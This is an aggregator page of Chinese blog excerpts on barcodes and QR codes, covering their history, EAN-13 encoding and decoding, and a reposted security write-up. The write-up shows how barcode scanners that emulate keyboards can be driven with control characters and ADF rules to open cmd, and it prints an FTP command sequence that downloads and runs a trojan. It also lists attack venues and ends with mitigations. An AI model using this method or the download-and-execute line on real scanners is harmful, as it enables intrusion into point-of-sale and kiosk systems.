精华内容
下载资源
问答
  • 条码技术——从一维到二维 从条形码到二维码 生活中,我们经常能够看到二维码,到处充斥着“扫一扫”,但是,你是否想过,小小的二维码里面藏着哪些信息?二维码又是如何被创造出的? 条码技术的诞生从...

    条码技术——从一维到二维 从条形码到二维码


    生活中,我们经常能够看到二维码,到处充斥着“扫一扫”,但是,你是否想过,小小的二维码里面藏着哪些信息?二维码又是如何被创造出的?

    • 条码技术的诞生
    • 从条形码到二维码
    • 具有中国自主知识产权的安全二维码——真知码
    • 向三维码进发

    条码技术的诞生

    条码技术最早产生在二十年代,诞生于Westinghouse的实验室里。那时候对电子技术应用方面的每一个设想都使人感到非常新奇。他的想法是在信封上做条码标记,条码中的信息是收信人的地址,就象今天的邮政编码。

    为此Kermode发明了最早的条码标识,设计方案非常的简单,即一个“条”表示数字“1”,二个“条”表示数字“2”,以次类推。然后,他又发明了由基本的元件组成的条码识读设备:一个扫描器(能够发射光并接收反射光);一个测定反射信号条和空的方法,即边缘定位线圈;和使用测定结果的方法,即译码器。


    条码技术的原理

    Kermode的扫描器利用当时新发明的光电池来收集反射光。“空”反射回来的是强信号,“条”反射回来的是弱信号。与当今高速度的电子元器件应用不同的是,Kermode利用磁性线圈来测定“条”和“空”。就象一个小孩将电线与电池连接再绕在一颗钉子上来夹纸。Kermode用一个带铁芯的线圈在接收到“空”的信号的时候吸引一个开关,在接收到“条”的信号的时候,释放开关并接通电路。因此,最早的条码阅读器噪音很大。开关由一系列的继电器控制,“开”和“关”由打印在信封上“条”的数量决定。通过这种方法,条码符号直接对信件进行分检。
    此后不久, Kermode的合作者Douglas Young,在Kermode码的基础上作了些改进。 Kermode码所包含的信息量相当的低,并且很难编出十个以上的不同代码。而Young码使用更少的条,但是利用条之间空的尺寸变化,就象今天的UPC条码符号使用四个不同的条空尺寸。新的条码符号可在同样大小的空间对一百个不同的地区进行编码,而Kermode码只能对十个不同的地区进行编码。直到1949年的专利文献中才第一次有了Norm Woodland和Bernard Silver发明的全方位条码符号的记载,在这之前的专利文献中始终没有条码技术的记录,也没有投入实际应用的先例。Norm Woodland和Bemard Silver的想法是利用Kermode和YOung的垂直的“条”和“空”,并使之弯曲成环状,非常象射箭的靶子。这样扫描器通过扫描图形的中心,能够对条码符号解码,不管条码符号方向的朝向。
    在利用这项专利技术对其进行不断改进的过程中,一位科幻小说作家Isaac-Azimov在他的“裸露的太阳”一书中讲述了使用信息编码的新方法实现自动识别的事例。那时人们觉得此书中的条码符号看上去象是一个方格子的棋盘,但是今天的条码专业人士马上会意识到这是一个二维矩阵条码符号。虽然此条码符号没有方向、定位和定时,但很显然它表示的是高信息密度的数字编码。
    

    从条形码到二维码

    条形码(barcode)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。条形码可以标出物品的生产国、制造厂家、商品名称、生产日期、图书分类号、邮件起止地点、类别、日期等许多信息,因而在商品流通、图书管理、邮政管理、银行系统等许多领域都得到广泛的应用。

    二维码又称QR Code,QR全称Quick Response,是一个近几年来移动设备上超流行的一种编码方式,它比传统的Bar Code条形码能存更多的信息,也能表示更多的数据类型。 

    二维条码/二维码(2-dimensional bar code)是用某种特定的几何图形按一定规律在平面(二维方向上)分布的黑白相间的图形记录数据符号信息的;在代码编制上巧妙地利用构成计算机内部逻辑基础的“0”、“1”比特流的概念,使用若干个与二进制相对应的几何形体来表示文字数值信息,通过图象输入设备或光电扫描设备自动识读以实现信息自动处理:它具有条码技术的一些共性:每种码制有其特定的字符集;每个字符占有一定的宽度;具有一定的校验功能等。同时还具有对不同行的信息自动识别功能、及处理图形旋转变化点。 

    二维码比起条形码,优点是显而易见的

    • 高度密编码,信息容量大。
    • 编码范围广
    • 译码可靠性高
    • 可引入加密措施
    • 成本低,易制作,持久耐用*


    二维码的本质

    二维码就是根据某种约定的编码方式将一段文本信息转换为一个能够被解码识别的图片。 
    其本质就是一段文本信息。 
    既然是文本信息,可能是如下一些信息用途类别: 
    人的姓名/一个数字/一段文字/一个网址/一个验证码/一个订单ID/会员ID/优惠券编号/位置坐标/WiFi密码...... 
    也就是可能是任意文本信息,除了有长度限制,没有其它限制。二维码最大数据含量大约是1850个字符。 
    那么关键点就是编码方式,到底什么是编码方式? 
    年纪稍大的人应该知道,在电话没有普及之前,都是用电报来传递信息。 
    电报就是将需要发送的文本信息,编码,通过无线电波发射,接收方接收后进行解码,翻译回原来的文本信息。这里的无线电波和二维码是类似的。

    二维码图片的编码原理


    位置探测图形,位置探测图形分隔符,定位图形:对二维码的定位使用,对于每个QR码来说,位置是固定的,大小规格有所差异 
    校正图形:如果规格确定,则校正图形的数量以及位置也确定 
    格式信息:用来表示该二维码的纠错级别,总共有L、M、Q、H四种,分别有不同的纠错率 

    版本信息:共有40种规格的矩阵(一般为黑白色),从21x21(版本1)到177x177(版本40),每种版本符号比前版本 每边增加4个模块。 

    数据和纠错码字:实际的二维码数据信息以及纠错码字(可以用于修正二维码损坏所带来的错误)。

    简要的编码过程

    1.数据分析:确定编码的字符类型,然后按对应的字符集转换成符号字符;

    2.数据编码:将数据字符转换为位流,每8位一个码字,整体构成一个数据的码字序列。


    能用二维码做什么

    其实应该说,能用一段文本信息做什么,二维码就能做什么。 
    关键不在于二维码,而在于如何定义这段文本信息,约定好文本信息的用途,二维码只是一种编码方式,便于通过设备用程序识别而已。 
    下面就是一些常见用途: 
    信息获取(名片、地图、WIFI密码、资料) 
    网站跳转(跳转到微博、手机网站、网站) 
    广告推送(用户扫码,直接浏览商家推送的视频、音频广告) 
    手机电商(用户扫码、手机直接购物下单) 
    防伪溯源(用户扫码、即可查看生产地;同时后台可以获取最终消费地) 
    优惠促销(用户扫码,下载电子优惠券,抽奖) 
    会员管理(用户手机上获取电子会员信息、VIP服务)

    手机支付(扫描商品二维码,通过银行或第三方支付提供的手机端通道完成支付)

    具有中国自主知识产权的安全二维码——真知码


    什么是真知码

    真知码是具有自主知识产权、保障国家、企业及个人信息安全的二维码。其具有全球唯一发码中心、双重加密、闭源设计等技术特点,优势如下:与目前被广泛使用的开源二维码不同,真知码拥有全球唯一发码中心,每个码都可做到:来源可溯、去向可踪、责任可究。

    真知码与普通二维码的区别

    实现了以下6大成效:真知码目前已取得130多项知识产权成果。其采用闭源设计,双重加密,构建了以大数据和全球唯一发码中心为依托的多平台系统。具有安全可靠、经济高效、使用广泛等优势,在提升政府监管效能,增加企业销售入口和渠道,保护消费者权益等方面带来了革命性的创新。 进出口商品品类全覆盖,目前已发码2061万个,溯源货值近400亿美元(截至2017年6月数据);普通二维码被广泛应用于报纸、杂志、服装、茶杯、名片、地铁广告屏,几乎一切商品和媒介都能看到它。但鲜有人知道的是国人用得最多的二维码却是日本的QR码。QR码使用“开源”技术,只要去网上搜索“二维码生成器“即可产出使用。这给国家信息安全和个人财产安全带来安全隐患,近年来二维码诈骗事件频出就是例证。真知码核心技术组成,中国自有知识产权,130多项发明专利、著作权等知识产权,不存在技术侵权风险源设计双重加密,彻底解决普通二维码谁都可以生成,容易被不法分子利用盗链等弊端,有效防止病毒感染、木马植入,保障信息安全。

    向三维码进发


    三维码具有更大的信息容量、相同的识别便易性和较好的安全性。三维码如何实现信息量大:无论是一维条形码还是二维码都是印制在平面上的,是二维空间的编码,这些编码使用一定长度和一定宽度的条和空表示数据,四个条和四个空表示1个字节。三维码的另一个特点是信息量大,在相同的编码面积上,其最大可表示的数据量是PDF417码的10倍以上,所以可以在普通大小的编码内包含大量的、足够识别真伪的辅助信息。三维码的主要特征在于利用色彩或灰度(或称黑密度)表示不同的数据并进行编码。三维码可在各种需要保密及防伪等重要领域中应用,如各对种证件、文字资料、图标及照片等图形资料进行编码。

    三维码的应用

    领域

    三维码可在各种需要保密及防伪等重要领域中应用,如对各种证件、文字资料、图标及照片等图形资料进行编码。解码时不但需要专用软件而且需要用户自己设定的数据的进制,因此其他人很难破解此编码。
    

       三维码公共安全领域的应用前景

    防伪保密技术是维护社会公共安全、保障国家和人民财产安全的重要手段,“任意进制三维码生成与识别系统”实质上就是图像、数据信息的获取和处理,可应用于产品防伪、金融票证、证券包括钱币的防伪,身份证及所有证件的防伪。比如:使用了三维码技术的身份证在进入机场安检时,只要将身份证在识别器上刷一下,像我们现在刷卡一样简单,个人的所有资料就都显示出来了,既方便又快速。它的特点就是可靠,目前世界上还没有比这个更先进更可靠的防伪保密识别系统;二是方便识别,使用起来非常简单,大大提高工作效率;三是制作成本低,推广起来也比较容易。它还可以广泛应用于国家重点保密部门、银行金库以及海关安全,改变了过去密码验证防伪的模式,而是将图像、数据库、语言、安全、密码、IC卡结合在一起的防伪系统。
    

       现在,三维码已经被广泛应用在O2O营销、身份认证、移动票据、视频发布、个人生活等多个方面。


    展开全文
  • 数据流 · 2016/01/19 10:44Author:[email protected]0x00 前言在日常生活中,条形码随处可见,特别在超市,便利店,物流业,但你们扫的条形码真的安全吗?之前TK教主 在PacSec介绍的条形码攻击和twitter上的demo...

    数据流 · 2016/01/19 10:44

    Author:[email protected]

    0x00 前言


    在日常生活中,条形码随处可见,特别在超市,便利店,物流业,但你们扫的条形码真的安全吗?之前TK教主 在PacSec介绍的条形码攻击和twitter上的demo视频太炫酷,所以就自己买了个扫码器自己研究了一下 ,在研究时候也找遍了国内外所有资料,但是都没有对可以执行的攻击技术完整的文章,故有此文分享。 : )

    0x01 条形码介绍


    条形码(barcode)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。

    常见的条形码类型有code39 code128 code93 EAN128 EAN13 QR等,前面大部分是一维条形码,而QR则是二维条形码,本文重点针对支持一维条形码的扫码器。其中code128是使用最广泛,支持字符最多的一种类型,一般都利用code128条形码进行攻击。

    0x02 扫码器介绍


    扫码器,大家几乎每天都能看到,在超市付账,物流,医院,彩票等。作用就是把条形码的信息提取出来,而常规的扫码器的工作原理是利用红外线照射,然后反射得出条形码的信息,再用扫描器内置的芯片处理得出结果。国际上常用的扫描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托罗拉收购。

    大家在超市购物付账时候都注意到,商品通过扫描后,商品的编码直接显示在屏幕上,其实很多扫码器都是用keyboard的方式输入的,也就是说一个扫描器就相当于一个键盘,这是一个较大的风险。

    0x03 Code128条形码


    既然知道扫描器是一个keyboard设备,只要控制条形码的数据就可以随意输入键盘数据了。但例如UPC条形码只支持数字,有些则只支持数字与字母,而Code128 是一种广泛使用的条形码类型,因为它支持ASCII 0-127字符,所以叫code128,条形码长度可调,最大支持232个字符。

    Code128也分为三种:

    1. Code128A:标准数字和大写字母,控制符,特殊字符
    2. Code128B:标准数字和大写字母,小写字母,特殊字符
    3. Code128C/EAN128:[00]-[99]的数字对集合,共100个,即只能表示偶数位长度的数字。

    Code128由四部分组成:起始码,数据码,校验码(可有可无),结束码

    如上条形码,黑白相间,且线条粗细不一;由黑色线条(条,Bar)与空白(空,Space)组成,根据粗细程度,可以将以上条形码起始码解读为:211214;第一条黑色竖线是由两个单位的竖线合并组成,而第二条空白竖线即由一个单位的竖线,如此类推。一般前6条的Bar与Space为一个单元。211214 用1,0转成逻辑码就是11010010000,也即是起始码。

    起始码对照:

    • 128A 11010000100
    • 128B 11010010000
    • 128C 11010011100

    结束码都是统一的1100011101011

    根据上面的解读出的逻辑码11010010000,就可以推断上面那个条形码是属于code128-B类型了。

    最后再根据code128的编码表就可以分析出条形码的数据(编码表太长就不贴完了)

    0x04 控制字符与条形码生成


    根据上面分析的code128规则,已经可以自己写出一个读取识别和生成条形码的程序了。而我们是要执行操作,最简单的就是利用控制字符。控制字符即非显示字符,例如回车,换行,制表符等。在ASCII中,0-31和127 就是控制字符。

    根据ASCII的控制字符表,可以看出Ctrl+?的组合键几乎都有了,例如Ctrl+O,也就是打开文件,但这个只是局部快捷组合键,在一些程序中才能应用,例如浏览器,word等等,利用这些控制字符在某些终端可以使程序跳出沙盒。如何生成可以使计算机执行Ctrl+O的条形码?因为已经上面已经介绍过code128的规则算法,自己写程序也可以。网络也有很多条形码生成的小程序,但在这里推荐一个强大的条形码编辑工具:BarTender

    下载安装后点击菜单栏“文件”-“新建”-“完成”,就会出现一个空白模板。

    然后点击条形码按钮就可以创建自己的条形码,选择code128类型。

    利用BarTender轻松就可以生成出条形码,而且字符可以随时改动,方便调试。扫描上图就验证码后,会输入“FutureSec”,然后输入控制字符Ctrl+O

    扫码器扫描后立即弹出对话框

    市面上基本任何一款扫码器都能执行,因为code128是绝大部分扫码器都支持的。

    0x05 Advanced Data Formatting(高级数据格式)


    Advanced Data Formatting(ADF),高级数据格式。是摩托罗拉针对扫描器开发的一种更高级的数据输入,根据自己的设定一步一步的规则可以自定义输入的数据,也可以说是一种支持编程的条形码技术。

    例如,在一个结账系统中,当你对一个商品扫描后,由于该结账系统不能直接对该条形码直接处理,就需要这种技术。结账系统识别码:A12345,前面要A开头;条形码的数据类型:12345 纯数字,想要在这个结账系统中识别就要在输入前进行处理。

    再举个例子:

    条形码的数据:

    8523647122

    通过ADF输出的数据:

    8523641<Enter>

    如何实现ADF?

    现在网上仍然没有ADF的中文资料,而在外国的网站也寥寥无几,无人问津,但靠tk的ppt中提到的ADF也是一头雾水,因为没有具体技术描述,只是一行字带过。后来找到一份摩托罗拉撰写300多页的ADF指南PDF。

    ADF是一种编程,根据自己的需求构建规则,而用的就不是用代码进行编程而是条形码。ADF把所有规则都用条形码表示,例如Perfix/Suffix,Replace,字符输入等。

    利用ADF挟持扫描器数据

    对扫描器进行ADF设置时要先扫描开始模式,Begin New Rule

    此后开始扫描的条形码都会被添加规则,前提是规则的逻辑是合法的。

    随后依次扫描下列条形码

    然后Save Rule

    当Save Rule,扫描器的输出数据都会被挟持成“TEST”,当你设置了ADF时,就会把你的规则按流程一步一步执行。

    如何恢复?

    扫描清除所有规则条形码即可。

    0x06 利用ADF执行命令,种植木马


    由于单凭控制字符无法执行命令,而ADF支持简单的编程和更多的键,利用ADF可以轻松执行系统命令。由于ADF支持很多键,例如最有用的WIN+R。

    在ADF中称为GUI R,既然知道了可以WIN+R的键,利用上面的规则就可以弹出cmd执行了。但这样还是不行,因为输入的是由系统自动输入,速度是手打无法可比的,当你执行到GUI R,再执行"c","m","d",win+r的对话框还没有出来就已经输入了cmd,所有要延时,而ADF就支持,相当于编程中的sleep()

    在录ADF规则时,扫描延时后要输入两个Numeric,例如依次0和1两个码,就代表延时0.1秒,0和5就代表0.5秒,默认是延时1秒。

    知道这些ADF条形码后就可以构建弹出cmd,然后再利用控制字符执行命令,主要是Enter。但如果要按照以上这么搞的话,仅是弹出一个cmd窗口就要十多个条形码了,也就是说扫描器要扫十多次。可以先看看腾讯玄武实验室的demo视频:

    twitter.com/tombkeeper/…

    视频中用了一叠条形码,依次扫描,扫描了十多次就出来个cmd,可能这与扫描器型号也有关系。

    这样的话不管是规则生成和利用都非常繁琐,其实是可以优化的,ADF的规则可以合并。利用motorola的扫描器软件123scan。

    123scan是摩托罗拉官方出品非常强大的扫描器管理软件,在其官网可以下载。功能很多,在这里就介绍利用123scan设置ADF。

    打开后点击"Create new configuration file"->"My scanner is NOT connected"->选择扫描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。

    点击Add action就是添加规则。

    ADF所有规则都在里面,包括Beep控制(控制扫描器蜂鸣),Replace等。

    设置延时0.5秒,依次添加规则。

    最后会自动合并条形码并输出。

    以上就是执行任意命令的条形码payload,除去1和2的设置出厂设置和清除所有规则,只需要4个条形码就可以执行任意单条命令。其中Send ALL that remains是代表设置ADF后扫描条形码的原本数据。 以上四组条形码的ADF流程是:输入WIN+R键->延时0.5秒->输入c键->输入m键->输入d键->输入回车->延时0.5秒->执行条形码的内容,而随后的Send ALL that remains就是你要执行的命令,可以多行命令,要是单行命令基本上4条就够不需要加Send ALL that remains。

    利用ADF种植木马

    既然已经可以执行cmd命令,最简单的方法就是利用ftp下载执行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。

    #!bash
    ftp test«CR»a«CR»a«CR»get w.exe«CR»bye«CR»w.exe«CR»get w.exe«CR»bye«CR»w.exe«CR»
    复制代码

    下面给出我们的demo视频,是已经经过扫描四次ADF设置后。不管扫描什么条形码执行到Send ALL that remains。视频中是利用FTP命令执行。

    (测试型号Symbol-LS4208-SR20001ZZR)

    v.youku.com/v_show/id_X…

    密码:wooyun520

    0x07 攻击场景


    简单总结一下可能存在攻击的场景地点:

    1.商店付款

    直接把条形码替换到商品;很多便利店支持微信,支付宝二维码支付,扫描器也支持多个类型条形码,可以直接把条形码存在手机中,让其扫描;有些大型百货有资助价格查询终端,只要用特殊的条形码到终端一扫就能跳出终端。

    2.医院病历,检验单

    现在医院的挂号,病历都会有个条形码,直接到医院自主终端或直接递给护士扫描;去医院都知道,有资助出检验单的终端,只要一扫就会单子,基本每个医院都有了。

    3.彩票

    彩票自身都会有条形码,兑换彩票就凭靠条形码到机器识别,所以伪造或对检验机进行攻击还是有可能,彩票终端类型这么多。

    4.快递单子

    快递都有条形码,一般是code128或者code39类型。在一些快递自助取件柜,和快递小哥扫描的时候或许会出现风险。

    。。。。。。

    场景很多就不一一列举了,以上场景有空我会逐一分析。

    0x08 防范方法


    1. 扫码器默认不要开启ADF功能
    2. 扫描器尽量不要使用键盘模拟
    3. 设置热键黑名单

    0x09 总结


    一维条形码攻击的概念在国外很多年前就有提出了,但是没人深入研究。利用条形码也可能出现SQL注射,XSS,溢出等攻击。

    无论什么设备,只要能控制一部分输入,就存在风险!

    0x0A 参考文献


    展开全文
  • 一维条形码检测与识别原理

    万次阅读 多人点赞 2016-04-12 17:20:32
    概念条形码由宽度不同、发射率不同的条(黑色)和空(白色)组成。按照特定的编码规则编制,用来表达组数字、字母信息的图形标识符。 工业25码 EAN-13码 为什么用黑色、白色来表示条形码? 因为...

    最近在学习的内容之一,整理一下,图片均为网络图片。提及的条形码主要为EAN-13码。

    一、概念

    条形码由宽度不同、反射率不同的条(黑色)和空(白色)组成。按照特定的编码规则编制,用来表达一组数字、字母信息的图形标识符。
    工业25码
    在这里插入图片描述
    EAN-13码
    在这里插入图片描述
    为什么用黑色、白色来表示条形码?
    因为两种颜色有截然不同的反射率,众所周知,黑色吸收光中的所有颜色,白色反射光中的所有颜色。当然,也可以用其他两种颜色来表示条形码,只要两种颜色有不同的反射率,足够的对比度。

    二、EAN-13码

    EAN-13码是EAN码的一种,用13个字符表示信息,是我国主要采取的编码标准。EAN-13码包含商品的名称、型号、生产厂商、所有国家地区等等信息。
    EAN码是模块组合型条码。
    模块:组成条码的基本宽度单位。说白了,条形码上,每0.33毫米宽代表一个模块。一个模块宽的条(条形码黑色部分)表示二进制“1”,两个模块宽的条(黑)表示二进制“11“,一个模块宽的空(条形码白色部分)表示二进制”0“。
    这样,便可以用二进制的0、1表示信息。在EAN码上,每一个字符(例如:数字1),由两个条(黑)和两个空(白)组成,条和空又分别由1~4个同宽、同颜色的模块组成。每个字符总共有7个模块(宽),并规定每个字符从外观上包含两个条、两个空。所以EAN码又称(7,2)码。
    一个字符:c1表示条的宽度(模块),c2(空),c3(条),c4(空) (c1+c2+c3+c4=7)
    在这里插入图片描述
    EAN-13码的格式如图:
    在这里插入图片描述
    以上节EAN-13码例图来说明
    501(制造码),2345(制造商代码),67890商品标识代码,0(校验码)。
    注意:EAN-13码,在以图形标识符表示时,第1位(例:上图数字”5“)隐式表示,既不用条和空(表示),而用第2位~第7位(总六位)的奇偶性来隐式表示(后面会说)。

    现在,第一位用隐式表示,那么只需要表示13-1=12个字符,将12个字符,分成两半,左侧6个字符,右侧6个字符。
    左侧字符有奇偶性,右侧字符全是偶的。左侧的奇偶性取决于 隐式表示的第一位字符(前置符,即:EAN-13码格式中的F1)。具体奇偶性如图:E代表偶数位,O代表奇数位,如前置符0表示,左侧六个字符都是奇数位。
    在这里插入图片描述
    那么奇、偶数位有什么用呢?
    相同字符在偶数位、和奇数位的二进制表示是不一样的。如图:
    在这里插入图片描述

    校验码有什么用?
    EAN-13码最后一个字符是校验码,用来保证条形码识别的正确性。
    EAN-13码校验算法如下:
    (1)从右至左,将13个字符按顺序排序。
    (2)第2、4、6、8、10、12等偶数位的数据相加,将结果乘以3,得到P.
    (3)将3、5、7、9、11、13等奇数位数据相加,等N。
    (4)N+P得 M
    (5)用M除以10,取余数。求余数以10为模的补数 C。
    (6)若C与 校验码 数值相等,则译码正确。

    EAN-13码识别原理

    在这里插入图片描述
    如图,表示条形码的一个字符。
    C1,C2,C3,C4表示该字符中四个相邻的条(黑)或空(白)的宽度,T是一个字符的宽度。C1+C2+C3+C4=7(模块)
    用n表示一个模块的宽度,n=T/7。
    用mi=Ci/n,i=1,2,3,4,便可以得到编码。
    若m1=1,m2=3,m3=1,m4=2,且条码排列位条——空——条——空,则当前字符二进制编码为 1 000 1 00,是右侧偶字符“7”。
    这种方法只是最基本的识别方法,当条空间距较小,或印刷质量不好时,很容易识别错误。
    条形码识别的方法还有许多,网上有许多资料,有兴趣的朋友可以自行学习。

    相关系列

    展开全文
  • 提及的条形码主要为EAN-13码。 概念 条形码由宽度不同、反射率不同的条(黑色)和空(白色)组成。依照特定的编码规则编制,用来表达组数字、字母信息的图形标识符。 工业25码 EAN-13码 为什么用...

    近期在学习的内容之中的一个,整理一下,图片均为网络图片。提及的条形码主要为EAN-13码。

    一、概念

    条形码由宽度不同、反射率不同的条(黑色)和空(白色)组成。依照特定的编码规则编制,用来表达一组数字、字母信息的图形标识符。


    工业25码
    这里写图片描写叙述
    EAN-13码
    这里写图片描写叙述
    为什么用黑色、白色来表示条形码?
    由于两种颜色有截然不同的反射率,众所周知。黑色吸收光中的全部颜色,白色反射光中的全部颜色。当然。也能够用其它两种颜色来表示条形码,仅仅要两种颜色有不同的反射率。足够的对照度。

    二、EAN-13码

    EAN-13码是EAN码的一种。用13个字符表示信息,是我国主要採取的编码标准。EAN-13码包括商品的名称、型号、生存厂商、全部国家地区等等信息。
    EAN码是模块组合型条码。


    模块:组成条码的基本宽度单位。说白了。条形码上,每0.33毫米宽代表一个模块。

    一个模块宽的条(条形码黑色部分)表示二进制“1”,两个模块宽的条(黑)表示二进制“11“。一个模块宽的空(条形码白色部分)表示二进制”0“。
    这样。便能够用二进制的0、1表示信息。

    在EAN码上,每一个字符(比如:数字1)。由两个条(黑)和两个空(白)组成,条和空又分别由1~4个同宽、同颜色的模块组成。每一个字符总共同拥有7个模块(宽),并规定每一个字符从外观上包括两个条、两个空。

    所以EAN码又称(7,2)码。
    一个字符:c1表示条的宽度(模块),c2(空)。c3(条)。c4(空) (c1+c2+c3+c4=7)
    这里写图片描写叙述
    EAN-13码的格式如图:
    这里写图片描写叙述
    以上节EAN-13码例图来说明:
    501(制造码),2345(制造商代码)。67890商品标识代码,0(校验码)。
    注意:EAN-13码,在以图形标识符表示时。第1位(例:上图数字”5“)隐式表示。既不用条和空(表示)。而用第2位~第7位(总六位)的奇偶性来隐式表示(后面会说)。

    如今,第一位用隐式表示,那么仅仅须要表示13-1=12个字符。将12个字符,分成两半,左側6个字符。右側6个字符。
    左側字符有奇偶性,右側字符全是偶的。左側的奇偶性取决于 隐式表示的第一位字符(前置符,即:EAN-13码格式中的F1)。

    详细奇偶性如图:E代表偶数位,O代表奇数位,如前置符0表示,左側六个字符都是奇数位。
    这里写图片描写叙述
    那么奇、偶数位有什么用呢?
    同样字符在偶数位、和奇数位的二进制表示是不一样的。如图:
    这里写图片描写叙述

    校验码有什么用?
    EAN-13码最后一个字符是校验码,用来保证条形码识别的正确性。
    EAN-13码校验算法例如以下:
    (1)从右至左,将13个字符按顺序排序。
    (2)第2、4、6、8、10、12等偶数位的数据相加,将结果乘以3,得P.
    (3)将3、5、7、9、11、13等奇数位数据相加,等N。


    (4)N+P得 M
    (5)用M除以10,取余数。求余数以10为模的补数 C。
    (6)若C与 校验码 数值相等,则译码正确。

    EAN-13码识别原理

    这里写图片描写叙述
    如图,表示条形码的一个字符。
    C1。C2。C3,C4表示该字符中四个相邻的条(黑)或空(白)的宽度。T是一个字符的宽度。

    C1+C2+C3+C4=7(模块)
    用n表示一个模块的宽度,n=T/7。
    用mi=Ci/n,i=1,2,3,4,便能够得到编码。
    若m1=1。m2=3。m3=1,m4=2,且条码排列位条——空——条——空,则当前字符二进制编码为 1 000 1 00,是右側偶字符“7”。
    这样的方法仅仅是最主要的识别方法,当条空间距较小,或印刷质量不好时,非常easy识别错误。
    条形码识别的方法还有很多,网上有很多资料,有兴趣的朋友能够自行学习。

    转载于:https://www.cnblogs.com/wzjhoutai/p/7268984.html

    展开全文
  • 条码检测系统——基于MATLAB的一维条码识别摘 要:条码技术是如今应用最广泛的识别和输入技术之一,由于其包含的信息量大,识别错误率低而在各个方面得到很大的重视。它发展迅速并被广泛应用于于工业、商业、图书...
  • 一维码与二维码对比介绍

    千次阅读 2018-11-14 21:15:41
    1. 一维码 1.1 定义 一维码是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的一维码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。 1.2 ...
  • 一维码和二位主要原理

    万次阅读 2013-04-08 22:54:47
     Code39(标准39)、Codabar(库德巴)、Code25(标准25)、ITF25(交叉25)、Matrix25(矩阵 25)、UPC-A、UPC-E、EAN-13(EAN-13国际商品条码)、EAN-8(EAN-8国际商品条码)、中国...
  • 1.条形码,又称条码,一般又称一维码; 广义的条形码一维码+二维码。 一维码:可以标识数字, 二维码:可以标识数字+字符 2.条码(又称条形码)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达...
  • C# 一维码生成

    2017-10-22 14:02:00
    一维条码即指条码条和空的排列规则,常用的一维码的码制包括:EAN码、39码、交叉25码、UPC码、128码、93码,ISBN码,及Codabar(库德巴码)等。 条形码起源于 20 世纪 40 年代,应用于 70 年代,普及于 80 年代。...
  • 受信息容量的限制,一维条码的使用不得不依赖于后台的数据库。在没有数据库或不便联网的地方,一维条码的使用便受到了局限。为此,美国Symbol公司发明了一条被称作为便携数据文件的二维条码——PDF417条码。1 PDF
  • 什么是二维条码与及特点

    千次阅读 2014-04-11 13:49:59
    人们日常见到的印刷在商品包装上的条码,是普通的一维条码。作为一项自动识别技术,一维条码自本世纪70年代初期问世以来,由于其识读快速、准确、可靠、制作成本低等优点,很快受到了人们的青睐,被广泛应用在商业、...
  • 第1.5节 一维条码技术  条码技术是在计算机应用和实践中产生并发展起来的广泛应用于商业、邮政、图书管理、仓储、工业生产过程控制、交通等领域的一种自动识别技术,具有输入速度快、准确度高、成本低、可靠性强等...
  • 之前TK教主在PacSec介绍的条形码攻击和twitter上的demo视频太炫酷,所以就自己买了个扫码器自己研究了一下 ,在研究时候也找遍了国内外所有资料,但是都没有对可以执行的***技术完整的文章,故有此...
  • java读写条形码、二维码

    千次阅读 2019-03-27 13:29:16
    欢迎大家去我的博客逛逛 前言 这里讲解一下条形码与二维码的基础知识与应用. ...又叫二维条形码. 用特定的几何图形按照一定规律在平面上分布的黑白相间的图形. 能够存储数字,字母,汉字,图片等. 字符集...
  • 条形码原理汇总

    2019-09-26 17:17:45
    条形码技术最早产生在风声鹤唳的二十年代,诞生于Westinghouse的实验室里。位名叫John Kermode性格古怪的发明家“异想天开”地想对邮政单据实现自动分检,那时候对电子技术应用方面的每个设想都使人感到非常新奇...
  • 条形码和二维码的原理简介

    万次阅读 2018-03-20 12:04:33
    转自: ... ... 一维码: 一、概念 条形码由宽度不同、反射率不同的条(黑色)和空(白色)组成。按照特定的编码规则编制,用来表达一组数字、字母信息的图形标识符...
  • 维条形码

    千次阅读 2008-01-10 18:07:00
    维条形码 什么是二维条形码: 二维条形码 (2-dimensional bar code) 是用某种特定的几何图形按一定规律在平面(二方向上)分布的黑白相间的图形记录数据符号信息的;在代码编制上巧妙地利用构成计算机内部逻辑...
  • 开发示例 C# 代码背后的概念是为了说明 .Net 开发人员构建个简单的 QR 解码器需要采取的基本步骤,并向开发人员展示如何使用著名的 zxing 库实时解码二维条码库,或者通过从网络摄像头捕获图片或上传静态二维条码...
  • 维条码

    2020-03-10 07:28:17
    顾名思义,相对于一维条码而言,二维条码有且至少2个维度上的条码。 如果单纯平面的概念,我们更愿意去以相对垂直的X,Y轴 作为编码图形展开的方向。 (增补一下, 个人认为, 如果是有两个不同的方向组成即可,而...
  • 1.一维条码有25条码、交插25条码、39条码、库德巴条码。 2.二维条码,二维条码技术是在一维条码无法满足实际应用需求的前提下产生的。一维条码通常是对物品的标识,二维条码是对物品的描述。信息容量大、安全性高、...
  • AutoCAD一维码、二维码的生成及使用

    千次阅读 2020-10-10 18:52:53
    一维条码即指条码条和空的排列规则,常用的一维码的码制包括:EAN码、39码、交叉25码、UPC码、128码、93码,ISBN码,及Codabar(库德巴码)等。 条形码起源于 20 世纪 40 年代,应用于 70 年代,普及于 80 年代。...
  • 维条码研究

    2011-09-15 20:55:19
    1一维条码..................................................................................................……1 1.2.2二维条码...........................................................................

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,155
精华内容 862
关键字:

一维条码的概念